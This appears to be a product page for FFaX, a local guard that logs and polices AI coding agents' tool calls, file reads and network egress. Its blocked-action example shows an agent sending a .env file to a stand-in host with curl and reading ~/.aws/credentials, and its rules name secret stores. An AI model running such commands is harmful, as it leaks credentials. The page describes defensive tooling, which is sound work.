Instrumentation and behavior probes
FFaX attaches through the agent's native hooks (Claude Code PreToolUse and PostToolUse) and an MCP proxy, so every API call, file write and outbound connection passes through FFaX before it runs. Each tool call is logged with its input, working directory, verdict and the rule that decided it, stored locally, and can be replayed by session, repository or agent.
Policy engine: allow, deny, ask
Files, commands, network egress and credentials each get a verdict before execution. The default rules block credential directories and unknown domains, and ask for approval on destructive operations such as rm -rf or git push.
Action log & replay
Every action, with the full story behind it
Which file it read, which command it ran, which domain it called: all logged locally. Every blocked action comes with its context, down to the input that led the agent there.
Credential guard
Reads of ~/.ssh, ~/.aws, .env and other secret stores are denied before the agent can touch them, and the reason is returned to the agent so it can take another route.
State suppression and logic redirection
When an agent attempts a jailbreak, runs obfuscated code, opens a hidden outbound call or tries to smuggle data, FFaX holds the agent's state through its debugging interface and redirects the action to a safe target.
Sandbox containment
Untrusted tasks run in an isolated sandbox, so even a successful hijack stays inside a contained boundary and never reaches the host.
Self-protection
The daemon defends itself against being hooked, unloaded or injected, so a compromised agent cannot switch the guard off.
Five-step workflow
From install to console in five commands
ffax install · ffax connect · ffax policy apply default · ffax decoy plant · ffax console. The client is open source and everything stays on the developer's machine by default.
One-command setup
ffax install starts the daemon. ffax connect detects Claude Code, Cursor and Codex and writes the hooks and MCP proxy into their configuration. There is nothing else to configure.
Example: blocked before execution
$ agent: curl -d @.env https://x.example verdict: deny (egress.unknown_domain) $ agent: read ~/.aws/credentials verdict: deny (credentials.read)
Cross-platform by design
The daemon runs on macOS and Linux and plugs into Claude Code, Cursor, Codex and any MCP-based agent, so one policy covers every agent a team uses.
Design partner program
Install the demo for free and shape the product
Engineering teams using AI coding agents can run the six-week demo at no cost: open-source client, an action log that never leaves your machine, three default policies, decoys and a one-page console.